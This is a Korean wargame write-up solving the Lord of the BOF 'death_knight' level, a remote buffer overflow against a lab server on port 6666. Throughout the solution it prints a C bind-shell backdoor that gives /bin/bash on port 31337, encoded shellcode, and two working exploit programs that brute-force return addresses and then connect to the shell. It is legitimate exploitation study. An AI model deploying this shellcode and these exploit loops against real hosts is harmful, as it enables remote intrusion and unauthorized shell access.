[LOB] xavius -> death_knight

2018. 4. 4. 12:40
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/
 
#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>
 
main()
{
    char buffer[40];
 
    int server_fd, client_fd;  
    struct sockaddr_in server_addr;   
    struct sockaddr_in client_addr; 
    int sin_size;
 
    if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
        perror("socket");
        exit(1);
    }
 
    server_addr.sin_family = AF_INET;        
    server_addr.sin_port = htons(6666);   
    server_addr.sin_addr.s_addr = INADDR_ANY; 
    bzero(&(server_addr.sin_zero), 8);   
 
    if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
        perror("bind");
        exit(1);
    }
 
    if(listen(server_fd, 10== -1){
        perror("listen");
        exit(1);
    }
        
    while(1) {  
        sin_size = sizeof(struct sockaddr_in);
        if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
            perror("accept");
            continue;
        }
            
        if (!fork()){ 
            send(client_fd, "Death Knight : Not even death can save you from me!\n"520);
            send(client_fd, "You : "60);
            recv(client_fd, buffer, 2560);
            close(client_fd);
            break;
        }
            
        close(client_fd);  
        while(waitpid(-1,NULL,WNOHANG) > 0);
    }
    close(server_fd);
}
 
 
cs


시작

힌트는 remote BOF이다. nc로 접속해보려했더니 안되서 telnet으로 접속했다.



소스코드를 보면 포트 6666을 열어두고 여기로 접속하면, 사용자로부터 256자를 받는다.

원격으로 접속하지않고 그냥 프로그램을 실행하게 되면 bind: Address already in use 라고 뜨는데 

이건 소켓 바인딩 후 포트가 열린채로 프로세스가 살아 있기 때문에 중복으로 같은 포트로 바인딩을 시도하면 발생하는 오류라고 한다.


이미 포트 6666으로 열려있어서 그런것같다.



으아 아아아... 뭘 입력해도 Connection closed by foreign host.가 뜨고 종료된다. 성공했는지 실패했는지도 알 수 가 없다.

일단 http://bbolmin.tistory.com/51에 remote bof에 대해 설명해놓아서 보고왔다.


그 외 해커스쿨 : 

http://research.hackerschool.org/Datas/Research_Lecture/remote1.txt

http://research.hackerschool.org/Datas/Research_Lecture/remote2.txt


왜 그냥 계속 종료되는지 이유를 알았다.

Xinetd와 연결되지 않는 독립적인 네트워크 프로그램. 즉, 직접 socket을 생성하고, bind와 listen 과정을 거쳐 accept로 클라이언트의 연결을 기다리는 프로그램으로의 입력과 출력은 프로그램 내에 구현된 send()와 recv() 등의 함수에 의한 통신만 가능하다.
따라서, 이러한 프로그램을 공격하여 쉘을 획득하였을 경우엔 그 쉘과 공격자가 서로 통신을 할 수 있는 매개체가 존재하지 않는 상태가 되어버린다. 결국, 공격자가 공격에 성공한다 하더라도 자유로운 쉘 권한은 획득할 수 없는것이다.

즉.. 공격자가 공격에 성공하여 쉘을 획득했다하더라도, 프로그램에 구현된 send()와 recv()를 통해서만 통신이 가능한데, 이미 이 역할은 끝나버렸으므로 쉘을 획득하여도 공격자와 이 쉘이 서로 통신할 수 있는 매개체가 없는 것이다.


그래서 이 때 쓸 수 있는 쉘코드로 BindShell이라는 것이 있다.

하지만, 가장 효율적이고 실제로 해커들이 가장 많이 사용하는 방법은 바로 취약 프로그램과는 별개의 새로운 소켓을 생성하고, 포트를 열고, 그것을 "/bin/bash"와 연결시키는 이른바 Bindshell 백도어를 실행하는 것이다. 이 백도어를 실행한 후, telnet 등을 이용하여 포트에 접속한다면, 직접 "/bin/bash"를 실행하는 것과는 다른 방법으로 쉘을 획득할 수 있게 된다. 

바인드 쉘 프로그램을 C언어로 구현한 것 중 하나를 가져와봤다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
int main()
{
        int sockfd, your_sockfd, len;
        struct sockaddr_in my_addr, your_addr;
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        my_addr.sin_family = AF_INET;
        my_addr.sin_port = htons(12345);
        my_addr.sin_addr.s_addr = INADDR_ANY;
        memset(&my_addr.sin_zero, 08);
 
        if(bind(sockfd, (struct sockaddr *)&my_addr, sizeof(my_addr))==-1){
                perror("bind");
                exit(-1);
        }
        listen(sockfd, 5);
 
        len = sizeof(your_addr);
        your_sockfd = accept(sockfd, (struct sockaddr *)&your_addr, &len);
 
        dup2(your_sockfd, 0);    // 표준 입력을 클라이언트로..
        dup2(your_sockfd, 1);    // 표준 출력을 클라이언트로..
        dup2(your_sockfd, 2);    // 에러 출력을 클라이언트로..
 
        execl("/bin/bash""bash"0);
 
        close(sockfd);
        close(your_sockfd);
}
cs



해캠에서 가져온 소스를 조금 수정해서 공격해보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = 
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
 
void Get_Shell(int sockfd)
{
        int length;
        char data[1024];
        fd_set read_fds;
 
        while(1){
                FD_ZERO(&read_fds);
                FD_SET(sockfd, &read_fds);
                FD_SET(0&read_fds);
 
                select(sockfd+1&read_fds, NULLNULLNULL);
 
                // 소켓으로부터 data가 왔을 때의 처리.
                if(FD_ISSET(sockfd, &read_fds)){
                        length = recv(sockfd, data, 10240);
                        // 받은 내용을 화면에 출력한다.
                        if(write(1, data, length) == 0)
                                break;
                }
 
                // 공격자가 키보드를 입력했을 때의 처리.
                if(FD_ISSET(0&read_fds)){
                        length = read(0, data, 1024);
                        // 입력한 내용을 쉘백도어로 전송한다.
                        if(send(sockfd, data, length, 0== 0)
                                break;
                }
        }
}
 
int Check_Result(void)
{
        int sockfd;
        struct sockaddr_in target_addr;
 
        target_addr.sin_family = AF_INET;
        target_addr.sin_port = htons(31337);
        target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
        bzero(&target_addr.sin_zero, 08);
 
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
        if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                close(sockfd);
                return 0;
        }
        else{
                // 공격에 성공하였다면, 확인 명령을 전송하고 쉘 연결.
                send(sockfd, "uname -a;id\n"120);
                Get_Shell(sockfd);
                close(sockfd);
                return 1;
        }
}
 
int main()
{
        char Attack_String[300], Cmd[400];
        int Ret_Addr = 0xbfffffff;
 
        memset(Attack_String, '\x90'256);
    //memset(Attack_String, 'A', 48);
        memcpy(Attack_String+100, shellcode, strlen(shellcode));
 
        while(1){
                memcpy(&Attack_String[44], &Ret_Addr, 4);
                Ret_Addr -= 52;
                printf("%p\n", Ret_Addr);
 
                sprintf(Cmd, "echo \"%s\" | telnet localhost 6666", Attack_String);
                system(Cmd);
        
                if(Check_Result()){
                        printf("Exploit Succeed.!\n");
                        exit(0);
                }
        
        }
}
 
cs


근데 이게 안된다.... 하ㅏ;;;


한참 삽질하다가 왠지 왜 안되는지 모르겠다 ㅇㅇ;


일단 저 sprintf로 telnet localhost 6666에 echo해서 어택스트링을 넣는데 이걸 이렇게 쓰지말고 socket으로 연결해서 send해보겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
 
char shellcode[] = 
"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"
"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"
"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"
"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"
"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"
"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"
"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"
"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";
 
 
int main()
{
        char Attack_String[300];
        int Ret_Addr = 0xbfffffff;
    int sockfd;
        struct sockaddr_in target_addr;
        
        memset(Attack_String, '\x90'256);
        memcpy(Attack_String+100, shellcode, strlen(shellcode));
 
        while(1){
            memset(&target_addr, 0sizeof(target_addr));
            target_addr.sin_family = AF_INET;
            target_addr.sin_port = htons(6666);
            target_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
 
 
            sockfd = socket(AF_INET, SOCK_STREAM, 0);
 
            if(connect(sockfd, (struct sockaddr *)&target_addr, sizeof(target_addr)) == -1){
                    printf("connect error!\n");
                    close(sockfd);
                    return 0;
            }
            memcpy(Attack_String+44&Ret_Addr, 4);
            Ret_Addr -= 52;
            
            printf("%p\n", Ret_Addr);
            send(sockfd, Attack_String, strlen(Attack_String), 0);
            
            system("telnet localhost 31337");
            close(sockfd);
            sleep(1);
        }
        
}
 
cs


위와 같이 짜서 공격하였다.


이제는 된다;;




찾아보니 BindShell말고도 리버스쉘이라고 공격자의 열려있는 포트로 서버가 접속하도록 하는 것이 있다.

이 문제는 리버스쉘로 푼 사람들이 많다. 


바인드쉘은 서버가 다른 포트를 열게하는 것이라면, 리버스쉘은 서버가 공격자의 서버로 접속하게 하는것!


리버스쉘  https://www.exploit-db.com/exploits/25497/


위에 가면 리버스쉘을 구성할 수 있다. 나중에 심심하면 한번 해보자.





+ Recent posts